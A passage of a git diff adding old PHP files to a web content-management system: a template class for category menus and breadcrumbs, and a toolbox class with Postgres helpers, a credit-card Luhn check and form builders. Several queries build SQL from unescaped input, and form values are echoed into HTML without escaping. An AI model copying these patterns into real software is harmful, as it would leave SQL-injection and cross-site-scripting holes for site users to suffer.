+       function get_bottom_nav($parent=0)
+       {
+               $return='';
+               $qs="SELECT id, category,intro FROM bus_category WHERE active = 't' and id != 1 and parent=$parent ORDER BY pos ASC";
+               $row=$this->DB->db_auto_get_data($qs);
+               if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' )
+               {
+                       $links[] = '<a title="Home Page" href="'.BASE_URL.'">Home</a>';
+               }
+               else
+               {
+                       $links[] = '<a title="Home Page" href="'.BASE_URL.'index.phtml">Home</a>';
+               }
+               if( !is_array( $row ) )
+               {
+                       return FALSE;
+               }
+               else
+               {
+                       for( $i=0; $i<sizeof( $row ); $i++)
+                       {
+                               $title = strip_tags(addslashes($row[$i]['intro']));
+                               $url = $this->get_seo_url( $row[$i]['id'] );
+                               $links[] = '<a title="'.$title.'" href="'.$url.'">'.$row[$i]['category']."</a>\n";
+                       }
+                       if( is_array( $links) )
+                       {
+                               $return = implode(" | ",$links);
+                       }
+                       return $return;
+               }
+       }
+       
+
+       /**
+        * make_ul_menu: create url list of categories
+        * 
+        * @param integer $parent parent to start from 
+        * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return string 
+        * @access public
+        **/
+       function make_ul_menu( $parent = 0 )
+       {
+               $qs = "SELECT id,category,intro FROM bus_category WHERE parent = $parent AND active = 't' ORDER BY pos";
+               $data = $this->DB->db_auto_get_data($qs);
+               if(!is_array($data))
+               {
+                       return( false );
+               }
+               else
+               {
+                       foreach( $data as $key => $row )
+                       {
+                               $url = $this->get_seo_url( $row['id'] );
+                               $title = strip_tags(addslashes($row['intro']));
+                               $return.='<li><a title="'.$title.'" href="'.$url.'"';
+                               if( $this->catid == $row['id'] )        
+                               {
+                                       $return .= ' id="current"';
+                               }
+                               $return .= '>'.$row['category']."</a></li>";
+                       if( $this->has_subs( $row['id'], &$this->DB ) &&
+                       ( $this->is_sub_id( $this->catid, $row['id'], &$this->DB )  || $this->catid == $row['id'] ) )
+                               {
+                                       $ret2 = $this->make_ul_menu( $row['id'] );
+                                       $return.="<li>".$ret2."</li>";
+                                       $return.="";
+                               }
+                       }
+                       
+                       if( $parent == 0 )
+                       {
+                               return '<ul id="navlist">'.$return."</ul>";
+                       }
+                       else
+                       {
+                               return '<ul>'.$return."</ul>";
+                       }
+               }
+       }       
+
+
+       /**
+        * make_custom_menu: Don't really know about why this is here
+        * 
+        * @param integer $parent: 
+        * @param integer $url='': 
+        * @param boolean $onhome=0: 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @deprecated Should you maybe create new class for custom stuff
+        * @return string 
+        * @access public 
+        **/
+       function make_custom_menu($parent,$url='',$onhome=0)
+       {
+               $url==''?$url=$_SERVER['PHP_SELF']:'';
+               //$url=BASE_URL;
+               if($onhome==1)
+               {
+                       //$opt="AND onhome='t' ";
+                       $qs="SELECT id,category,image,intro FROM bus_category WHERE onhome='t' AND active='t' ORDER BY homepos ASC";
+               }else
+               {
+                       $qs="SELECT id,category,image,intro FROM bus_category WHERE parent=$parent $opt AND active='t' ORDER BY pos";
+               }
+               
+               $row=$this->DB->db_auto_get_data($qs);
+               if(!is_array($row))
+               {
+                       return FALSE;
+               }else
+               {
+                       $z=1; // used to find the 3rd image
+               for($i=0;$i<sizeof($row);$i++)
+               {
+                       if($z==3)
+                       {
+                               $z=1;
+                               $brtag='<br clear="all">';
+                       }else
+                       {
+                               $brtag='';
+                               $z++;
+                       }
+                       $url = $this->get_seo_url( $row[$i]['id'] );
+                       $title = strip_tags(addslashes($row[$i]['intro']));
+                       $return.='<div class="products"><a title="'.$title.'" href="'.$url.'"class="text">'.$row[$i]['category'].'</a>'."\n".'<a href="'.URL_BASE.$p.$category.'"class="image">';
+                       if($row[$i][image]!='')
+                       {
+                               $return.='<img src="'.THUMB.$row[$i][image].'">';
+                       }
+                       
+                       $return.='</a>'."</div>$brtag\n";
+               }
+                       return $return;
+               }
+       }
+       
+       /**
+       * print_ancestors:print out the ancestors
+       * @param integer $catid: the id to start at.
+       * 
+       * @return string 
+       * @access public
+       **/
+       function print_ancestors($catid)
+       {
+               $string = GLM_TEMPLATE::get_ancestors($catid,0);
+               echo '<!--';
+               print_r($string);
+               echo '-->';
+               if(is_array($string))
+               {
+                       if(count($string) > 1)
+                       {
+                               $url = $this->get_seo_url( 1 );
+                               $outarray[] = '<a href="'.$url.'">Home</a>';
+                       }       
+                       $end = count( $string ) - 1;
+                       for($i=0;$i<$end;$i++)
+                       {
+                               $outarray[] = '<a href="'.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+                       }
+                       $outarray[] = $this->get_catheader( $catid, &$this->DB );
+                       if( is_array( $outarray ) && count( $outarray ) > 1 )
+                       {
+                               $out .= implode( " &#187; ", $outarray );
+                       }
+               }
+               return( '<div id="breadcrumbs">'.$out.'</div>' );
+       }
+
+       /**
+       * build_picklist:
+       * @param string $fieldname: 
+       * @param array $data: 
+       * @param mixed $selected: 
+       * @param string $type = "standard": 
+       * @param boolean $auto = 0: 
+       * @param integer $width = NULL : 
+       * 
+       * @return string 
+       * @access  public
+       **/
+       function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+       {
+               if(!is_array($selected))
+               {
+                       $sel[0] = $selected;
+               }
+               else
+               {
+                       $sel = $selected;
+               }
+               if($auto == 1)
+               {
+                       $autosubmit = "onChange=\"form.submit()\"";
+               }
+               if($width)
+               {
+                       $autosubmit .= "style=\"width:".$width."px;\"";
+               }
+               switch( $type )
+               {
+                       case "multiple":
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                       {
+                                               $select = "";
+                                       }
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                       case "simple":
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                       default:
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                       break;
+                       }
+                       $str .= "</SELECT>\n";
+               return( $str );
+       }
+
+       /**
+       * keyword_replace:
+       * 
+       * @param string $string: 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return string 
+       * @access public
+       **/
+       function keyword_replace($string)
+       {
+               //return($string);
+               $page = "main.phtml";
+               if($search = strstr($string,"{"))
+               {
+                       if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+                       {
+                               if($needle[0] != "")
+                               {               
+                                       $qs = "SELECT   id,category
+                                       FROM            bus_category
+                                       WHERE   trim(keyword) = '".trim($needle[1])."'";
+
+                                       $keyres = $this->DB->db_auto_get_data($qs);                                     
+                                       $parent = $this->get_top_parent($keyres[0]['id'],&$this->DB);
+                                       $url = $this->get_seo_url( $keyres[0]['id'] );
+                                       $replacement = "<a href=\"".$url."\">".htmlspecialchars($keyres[0]['category'])."</a>";
+                                       $string = str_replace($needle[0],$replacement,$string);
+                               }
+                       }               
+                       else{
+                               return($string);
+                       }
+                       if($search = strstr($string,"{"))
+                       return($this->keyword_replace($string));
+               }       
+               return($string);        
+       }
+       /**
+       * getIdFromName:
+       * 
+       * @param string $name: 
+       * @param string $table: 
+       * @param object $DB: 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @deprecated Don't use this!  THIS IS A WARNING (this funcion will be gone next time)
+       * @return string 
+       * @access  public
+       **/
+       function get_id_from_name( $name, $table, &$DB)
+       {
+               if( $name == "" )
+               {
+                       return( 0 );
+               }
+               if( is_numeric( $name ) )
+               {
+                       return( $name );
+               }
+               if( ereg("(.*)/$",$name,$tmp) )
+               {
+                       $name = $tmp[1];
+               }
+               $category = "category";
+               if( ereg("-([0-9]*)$",$name,$tmp ) )
+               {
+                       $id = $tmp[1];
+                       return( $id );
+               }
+               // should already be returning id at this point 
+               // putting the _id on the end of all url's as 
+               // the other way is very inifiecent for the database.
+               $name = str_replace( "-"," ",$name );
+               $query = "select id from $table where trim(lower(replace(replace(replace(replace(replace(replace($category,'\'',''),'/',''),'-',' '),'#',''),'&',''),'?',''))) = '".trim(strtolower($name))."'";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $key=>$val )
+                       {
+                               $catid = $val['id'];
+                       }
+                       return( $catid );
+               }
+               else
+               {
+                       return( 0 );
+               }
+       }
+
+       /**
+        * get_base_url: generate the base of the url for the given category id 
+        * @param integer $id : 
+        * 
+        * @return string 
+        * @access public
+        **/
+       function get_base_url( $id )
+       {
+               if( $this->pages[$id] )
+               {
+                       $page = $this->pages[$id];
+               }
+               else
+               {
+                       $page = $this->pages['default'];
+               }
+               if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' && $this->catid == 1 )
+               {
+                       $page = '';
+               }
+               return( $page );
+       }
+
+       /**
+       * getCategoryName:
+       * 
+       * @param integer $id: 
+       * @param string $table: 
+       * @param object &$DB : 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function get_category_name( $id, $table,&$DB )
+       {
+               if( !is_numeric( $id ) )
+               {
+                       return( false );
+               }
+               if($table == "class_category")
+               {
+                       $category = "name";
+               }
+               else
+               {
+                       $category = "category";
+               }
+               $query = "select $category from $table where id = $id";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+
+                       $add = '-'.$id;
+                       if( $data[0]['category'] ) 
+                       {
+                               $category = $data[0]['category'].$add;
+                       }
+                       elseif( $data[0]['name'])
+                       {
+                               $category = $data[0]['name'].$add;
+                       }
+                       else
+                       {
+                               $category = $add; 
+                       }
+                       return( htmlspecialchars($category) );
+               }
+       }
+
+
+       /**
+       * setNameUrl:
+       * @param string $name : 
+       * 
+       * @return string 
+       * @access public
+       **/
+       function set_name_url( $name )
+       {
+               $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+               $name = str_replace( "/","",$name );
+               $name = str_replace( "#","",$name );
+               $name = str_replace( "&","",$name );
+               $name = str_replace( "amp;","",$name );
+               $name = str_replace( "?","",$name );
+               $name = str_replace( "'","",$name );
+               return( htmlspecialchars(strip_tags( $name ) ) );
+       }
+
+       /**  valid email
+       *
+       * <p>Checks for a valid format and good (mx check) 
+       * email address.</p>
+       * @deprecated using GLM_TOOLBOX::valid_email()
+       * @uses GLM_TOOLBOX::valid_email()
+       *
+       * @param string email the email address as string.
+       * @return boolean 
+       */ 
+       function valid_email ($email) { 
+               return( GLM_TOOLBOX::valid_email($email) );
+       }
+}
+?>
diff --git a/classes/class_toolbox.inc b/classes/class_toolbox.inc
new file mode 100755 (executable)
index 0000000..844f95c
--- /dev/null
@@ -0,0 +1,1567 @@
+<?php
+/** 
+ *     Toolbox Classes :)
+ * 
+ *     <p>
+ * These classes and any code is not licensed for anyone but gaslight to use
+ * {@link http://www.gaslightmedia.com www.gaslightmedia.com}
+ *     </p>
+ *
+ * @package Toolbox 
+ * @tutorial Toolbox/Toolbox.pkg
+ * @filesource
+ * 
+*/
+/**
+ *     Toolbox Class :)
+ *
+ * <p><b>NOTICE</b>
+ *     Im going to be moving all functions from the setup.phtml file and putting it into this</p>
+ *     <p>class.  This is so we can eventially move everything to one siteinfo.inc file.</p>
+ *  <kbd>matrix@devsys Does this work?</kbd>
+ *
+ *     @package Toolbox 
+ *     @author $Author: matrix $
+ *     @copyright 2005
+ *     @version $Revision: 1.1.1.1 $
+ *     @since $Date: 2009/12/18 17:47:02 $
+ * 
+ *     @todo move all functions from setup.phtml into here
+*/
+class GLM_TOOLBOX 
+       {
+               /** @var array php_version */
+               var $php_version;
+               /** @var boolean true if php is version < 4.2 */
+               var $php_old_pg;
+
+               function GLM_TOOLBOX()
+               {
+                       $this->php_version = $this->php_version_check();
+                       $this->php_old_pg = $this->php_old_pg();
+               }
+
+               function php_version_check()
+               {
+                       $this->php_version = explode(".",phpversion());
+                       return( $this->php_version );
+               }
+
+               /**
+                       php_old_pg()
+
+                       <p>after php 4.2 they changed the pg_ functions for postgres </p>
+                       @return boolean
+                       @access public
+                */
+               function php_old_pg()
+               {
+                       switch( $this->php_version[0] )
+                       {
+                               case 5:
+                                       return( false );
+                                       break;
+
+                               case 4:
+                                       switch( $php_version[1] )
+                                       {
+                                               case 2:
+                                                       return( false );
+                                                       break;
+                                               case 1:
+                                                       return( true );
+                                                       break;
+                                       }
+                                       break;
+                       }
+               }
+               
+               /**
+               * Create a hyper link
+               *
+               * <p>$options array is $options = array( 'href'=>'', 'text'=>'', 'title'=>'',
+               *       'onMouseover'=>'', 'onMouseout'=>'','id'=>'' );</p>
+               * @param $options : an array 
+               * 
+               * @return string for the hyper link 
+               * @access public 
+               **/
+               function create_href( $options )
+               {
+                       if( !is_array( $options ) )
+                       {
+                               return( false );
+                       }
+                       else
+                       {
+                               $title = ( $options['title'] && $options['title'] != '' ) ? ' title="'.$options["title"].'"': '';
+                               $text = ( $options['text'] && $options['text'] != '' ) ? strip_tags( $options["text"] ) : '';
+                               $onClick = ( $options['onClick'] && $options['onClick'] != '' ) ? ' onClick="'.$options["onClick"].'"': '';
+                               $onMouseover = ( $options['onMouseover'] && $options['onMouseover'] != '' ) ? ' onMouseover="'.$options["onMouseover"].'"': '';
+                               $onMouseout = ( $options['onMouseout'] && $options['onMouseout'] != '' ) ? ' onMouseout="'.$options["onMouseout"].'"': '';
+                               $id = ( $options['id'] && $options['id'] != '' ) ? ' id="'.$options["id"].'"': '';
+                               $out = '<a'.$title.$onClick.$onMouseout.$id.' href="'.$options["href"].'">'.$text.'</a>';
+                               return( $out );
+                       }
+               }
+
+               /**
+                * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+                card type is given, attempts to guess. Then, if a list of
+                accepted types is given, determines whether or not we'll
+                accept it
+                * @param string $Num: Credit Card Number
+                * @param string $Name = '': Type of Card
+                * @param array $Accepted='' : Accepted array
+                * 
+                * @return bool 
+                * @access public 
+                **/
+               function CreditVal($Num, $Name = '', $Accepted='') 
+               { 
+                       $Name = strtolower( $Name );
+                       $Accepted = strtolower( $Accepted );
+                       $GoodCard = 1;
+                       $Num = ereg_replace("[^[:digit:]]", "", $Num); 
+                       switch ($Name) 
+                       { 
+
+                               case "mastercard" : 
+                                       $GoodCard = ereg("^5[1-5].{14}$", $Num); 
+                               break; 
+
+                               case "visa" : 
+                                       $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num); 
+                               break; 
+
+                               case "americanexpress" : 
+                                       $GoodCard = ereg("^3[47].{13}$", $Num); 
+                               break; 
+
+                               case "discover" : 
+                                       $GoodCard = ereg("^6011.{12}$", $Num); 
+                               break; 
+
+                               case "dinerscard" : 
+                                       $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num); 
+                               break;
+
+                               default:
+                               if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+                               if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+                               if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+                               if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+                               if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+                               break;
+                       } 
+
+                       // If there's a limit on card types we accept, check for it here.
+                       if( $Accepted )
+                       {
+                               $type_verified = FALSE;
+                               $brands = explode( ",", $Accepted );
+                               foreach( $brands as $brand )
+                               {
+                                       if( $Name == $brand )
+                                       {
+                                               $type_verified = TRUE;
+                                       }
+                               }
+                               if( !$type_verified ) return(FALSE);
+                       }
+                       $Num = strrev($Num); 
+                       $Total = 0; 
+                       for ($x=0; $x<strlen($Num); $x++) 
+                       { 
+                               $digit = substr($Num,$x,1); 
+                               if ($x/2 != floor($x/2)) 
+                               { 
+                                       $digit *= 2; 
+                                       if (strlen($digit) == 2)  
+                                       {
+                                               $digit = substr($digit,0,1) + substr($digit,1,1); 
+                                       }
+                               } 
+                               $Total += $digit; 
+                       } 
+                       if ($GoodCard && $Total % 10 == 0) 
+                       {
+                               return(true); 
+                       }
+                       else 
+                       {
+                               return(false); 
+                       }
+               }
+               /* DataBase Library */
+
+               /**
+                * db_connect :Creates a connection to database specified $conn_str
+                * @param string $conn="" : connection string
+                * 
+                * @return index or bool 
+                * @access public 
+                **/
+               function db_connect($conn="") 
+               {
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if($conn == "")
+                                       {
+                                               $conn = CONN_STR;
+                                       }
+                               $ret = pg_connect($conn);
+                               break;
+                               default:
+                               return(0);
+                       }
+                       return($ret);
+               }
+
+               /**
+                * db_close :Closes the connection to database specified by the handle dbd      
+                * @param object $dbd : database handle 
+                * 
+                * @return bool 
+                * @access public 
+                **/
+               function db_close($dbd) 
+               {
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_close($dbd);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                       NOTICE DON'T USE THIS
+                * db_pconnect :Creates a persistant connection to database specified in $conn_str
+                * @param string $conn="" : connection string 
+                * 
+                * @return mixed
+                * @access public 
+                **/
+               function db_pconnect($conn="") 
+               {
+                       return( false );
+               }
+
+               /**
+                * db_exec : Execute an SQL query
+                * @param object $dbd: database handle 
+                * @param string $qs : Query
+                * 
+                * @return int Returns a valid result index on success 0 on failure
+                * @access public 
+                **/
+               function db_exec($dbd, $qs) 
+               {
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if( $this->php_old_pg )
+                                       {
+                                               $ret = pg_exec($dbd, $qs);
+                                       }
+                                       else
+                                       {
+                                               $ret = pg_query($dbd, $qs);
+                                       }
+                               break;
+
+                               default:
+                               return(0);
+                       }
+                       return($ret);
+               }
+
+               /**
+                * db_fetch_array :Stores the data in associative indices, using the field names as     
+                * keys.
+                * @param resource $res: valid database result index
+                * @param int $i: row number
+                * @param string $type : database type 
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access public 
+                **/
+               function db_fetch_array($res, $i, $type) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $row = pg_fetch_array($res, $i, $type);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($row);
+               }
+
+               /**
+                * db_freeresult :Free result memory.
+                * @param resource $res : valid database result index
+                * 
+                * @return bool - Returns 1 for success 0 for failure
+                * @access public 
+                **/
+               function db_freeresult($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if( $this->php_old_pg )
+                                       {
+                                               $ret = pg_freeresult($res);
+                                       }
+                                       else
+                                       {
+                                               $ret = pg_free_result($res);
+                                       }
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_numrows :Determine number of rows in a result index
+                * @param resource $res : valid database result index
+                * 
+                * @return int - Returns number of rows
+                * @access public 
+                **/
+               function db_numrows($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if( $this->php_old_pg )
+                                       {
+                                               $ret = pg_numrows($res);
+                                       }
+                                       else
+                                       {
+                                               $ret = pg_num_rows($res);
+                                       }
+                               break;
+
+                               default:
+                               return(-1);
+                       }
+
+                       return($ret);
+               }
+
+               /************************************************************************
+                *                                                                                                                                              *
+                * BEGIN Auto functions                                                                                                 *
+                *                                                                                                                                              *
+                ***********************************************************************/
+
+               /**
+                * db_auto_array :The auto function for retrieving an array based soley on a query      
+                * string. This function makes the connection, does the exec, fetches   
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns the array
+                * @param string $qs: SQL query string
+                * @param int $i: row number
+                * @param string $type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+                * 
+                * @return array - Returns an associative array of key-value pairs
+                * @access public 
+                **/
+               function db_auto_array($qs, $i, $type) 
+               {
+
+                       $dbd = GLM_TOOLBOX::db_connect();
+                       if(!$dbd)
+                       {
+                               return(0);
+                       }
+                       $res = GLM_TOOLBOX::db_exec($dbd, $qs);
+                       if(!$res)
+                       {
+                               return(0);
+                       }
+
+                       $row = GLM_TOOLBOX::db_fetch_array($res, $i, $type);
+
+                       if(!GLM_TOOLBOX::db_freeresult($res))
+                       {
+                               return(0);
+                       }
+
+                       GLM_TOOLBOX::db_close($dbd);
+                       return($row);
+               }
+
+               /**
+                * db_auto_exec :The auto function for executing a query.                               
+                * This function makes the connection, does the exec, fetches           
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns success (not a valid result index)
+                * @param string $qs: SQL query string
+                * @param string $conn="" : Connect String
+                * 
+                * @return int - Returns 1 (or oid, if available) for success 0 for failure
+                * @access public 
+                **/
+               function db_auto_exec($qs, $conn="") 
+               {
+
+                       if($conn == "")
+                               $conn = CONN_STR;
+                       $dbd = GLM_TOOLBOX::db_connect($conn);
+                       if(!$dbd)
+                               return(0);
+                       if(!GLM_TOOLBOX::db_exec($dbd, $qs)) 
+                       {
+                               GLM_TOOLBOX::db_close($dbd);
+                               return(0);
+                       }
+                       else 
+                       {
+                               GLM_TOOLBOX::db_close($dbd);
+                               return(1);
+                       }
+               }
+
+               /**
+                * db_auto_get_data :The auto function for retrieving an array based soley on a query   
+                string. This function makes the connection, does the exec, fetches     
+                the array, closes the connection, frees memory used by the result,     
+                and then returns the array
+                * @param string $qs:   SQL query string
+                * @param string $CONN_STR: Connect String
+                * @param boolean $fail_mode=0 : Failure Mode
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access public 
+                **/
+               function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0) 
+               {
+
+                       if( !($dbd = GLM_TOOLBOX::db_connect($conn)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       if( !($res = GLM_TOOLBOX::db_exec($dbd, $qs)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       $totalrows = pg_NumRows($res);
+
+                       for( $i = 0 ; $i < $totalrows ; $i++ )
+                       {
+                               $data[$i] = GLM_TOOLBOX::db_fetch_array($res, $i, PGSQL_ASSOC );
+                       }
+
+                       GLM_TOOLBOX::db_close( $dbd );
+                       if(isset($data) && $data!="")   
+                       {
+                               return( $data );
+                       }
+                       else
+                       {
+                               return(0);
+                       }
+               }
+
+               /* HTML Libraries */
+
+               /**
+                * html_footer :Generates a footer table on the bottom of the page it's called on.      
+                and closes out the body and html tags.
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function html_footer() 
+               {
+                       $out = '</body>
+                               </html>';
+                               die( $out ); /* we've got to terminate any more output */
+               }
+
+               /**
+                * html_error :Generates a footer table on the bottom of the page it's called on.       
+                and closes out the body and html tags.
+                * @param string $msg: string error message to be displayed
+                * @param boolean $bail : bool whether or not to exit() after $msg
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function html_error($msg, $bail) 
+               {
+                       ?>
+                               <table summary="Error Information" class="errortable" cellspacing="0">
+                               <tr class="errortr">
+                               <td class="errortd">
+                               <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+                               </td>
+                               </tr>
+                               </table>
+
+                               <?
+                               if($bail)
+                               {
+                                       GLM_TOOLBOX::html_footer();
+                               }
+               }
+
+               /**
+                * html_nav_table :Generates a navigation table on the page it's called on.
+                * @param array $nav: associative array with entries like:$nav[text][url]
+                * @param int $w : max width of table
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function html_nav_table($nav, $w) 
+               {
+                       $nav_table_table_width = "400";
+                       $nav_table_table_align = "center";
+                       ?>
+                               <table width="100%" align="center" summary="Navigation Information" class="navtable" cellspacing="0" border="0">
+                               <tr class="navtr">
+                               <?
+                               $i = 0;
+                       $width = 100 / $w;
+
+                       while(list($text, $url) = each($nav)) 
+                       {
+                               $i++;
+                               if(($i == (count($nav))) && (($w % $i) != 1))
+                               {
+                                       $cs = ($w - ((count($nav)-1) % $w));
+                               }
+                               else
+                               {
+                                       $cs = 1;
+                               }
+                               ?>
+                                       <td width="<?echo $width."%"?>"class="navtd" colspan="<?echo $cs?>" align="center">
+                                       <?
+                                       if(is_array($url))
+                                               echo "<a href=\"$url[0]\" $url[1] title=\"$text\">";
+                                       else
+                                               echo "<a href=\"$url\" title=\"$text\">";
+                               ?>
+                                       <div class="navtext"><?echo $text?></a></div>
+                                       </td>
+                                       <?
+                                       if(!($i % $w))
+                                               print"</tr>\n\t<tr class=\"navtr\">\n";
+                               if($i == count($nav))
+                               {
+                                       print"</tr>\n";
+                               }
+                       }
+                       ?>
+                               </table>
+                               <?
+               }
+
+               /**
+                * html_header :Opens up the html tags, and includes the style sheet link                       
+                generates a header table on the top of the page it's called on.
+                * @param string $title: Page Title 
+                * @param string $msg: message to display 
+                * @param string $img : image to display
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function html_header($title, $msg, $img) 
+               {
+                       $header_table_width = "400";
+                       $header_table_align = "center";
+
+                       ?>
+                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+                               "http://www.w3.org/TR/html4/loose.dtd">
+                               <html>
+                               <head>
+                               <title><?echo $title?></title>
+                               <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+                               </head>
+                               <body>
+                               <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+                               <tr class="headertr">
+                               <td class="headertd">
+                               <?
+                               if($img) 
+                               {
+                                       ?>
+                                               <img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">
+                                               <?
+                               }
+                       ?>
+                               </td>
+                               </tr>
+                               <tr>
+                               <td class="headertd2" align="center">
+                               <div class="headerh2" align="center"><?echo "$msg"?></div>
+                               </td>
+                               </tr>
+                               </table>
+                               <?
+               }
+
+               /**
+                * form_header :Opens up the form tag, and includes the hidden assoc array as hidden    
+                fields.
+                * @param string $action: string form action string
+                * @param string $method: string Method of form
+                * @param string $hidden = "" : assoc array with $hidden($name => $value)
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function form_header($action, $method, $hidden = "") 
+               {
+                       echo "<form action=\"$action\" method=\"$method\" 
+                               enctype=\"multipart/form-data\">";
+                       if($hidden != "" && is_array($hidden)) 
+                       {               
+                               foreach($hidden as $key=>$value) 
+                               {
+                                       echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+                               }
+                       }
+               }
+
+               /**
+                * text_area :Creates textarea with good default values for rows cols and wrap.
+                * @param string $name: string form action string
+                * @param string $value: string Method of form
+                * @param int $rows = 15: int4 number of rows in textarea box
+                * @param int $cols = 50: int4 number of cols in textarea box
+                * @param string $wrap = "virtual"  : string the wrap value for the textarea box
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" ) 
+               {
+                       echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\" 
+                               rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+               }
+
+               /**
+                * text_box :Creates a input box for text with 35 as default size
+                * @param string $name: string name of text box
+                * @param string $value: string value of text box
+                * @param int $size = 35 : string size of text box
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function text_box($name, $value, $size = 35) 
+               {
+                       echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\" 
+                               value=\"".htmlspecialchars($value)."\" size=\"$size\"></td>";
+               }
+
+               /**
+                * form_footer :Closes up the form tag, and includes the submit button
+                * @param string $name: string form action string
+                * @param boolean $suppress = 0: string Method of form
+                * @param int $cs : int colspan for td 
+                * 
+                * @return void 
+                * @access public 
+                **/
+               function form_footer($name, $suppress = 0, $cs) 
+               {
+                       echo "<tr><td colspan=\"$cs\" align=center>
+                               <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+                       if($suppress == 1) 
+                       {
+                               echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+                       }
+                       /*              echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+                       echo "</td>";
+               }
+
+               /* Graphics Libraries */
+
+               /**
+                * process_image :Main function for image processing                                    
+                * NOTES:                                                               
+                * This function does the following:                       
+                *
+                * 1) places image into original folder                    
+                *
+                * 2) makes three images from original size and places them
+                * into the RESIZED, MIDSIZED, and THUMB folders
+                * @param string $image: The variable of the image being post from the form
+                * @param string $image_name : The variable_name of the image being post
+                * 
+                * @return string - Returns $image_name
+                * @access public 
+                **/
+               function process_image ($image,$image_name) 
+               {
+                       if(!defined("ORIGINAL_PATH")) 
+                       {
+                               GLM_TOOLBOX::html_error("this not defined original_path",1);
+                       }
+                       if(!defined("RESIZED_PATH")) 
+                       {
+                               GLM_TOOLBOX::html_error("this not defined resized_path",1);
+                       }
+                       if(!defined("MIDSIZED_PATH")) 
+                       {
+                               GLM_TOOLBOX::html_error("this not defined midsized_path",1);
+                       }
+                       if(!defined("THUMB_PATH")) 
+                       {
+                               GLM_TOOLBOX::html_error("this not defined thumb_path",1);
+                       }
+                       $image_upload_array = GLM_TOOLBOX::img_upload($image,$image_name,ORIGINAL_PATH);
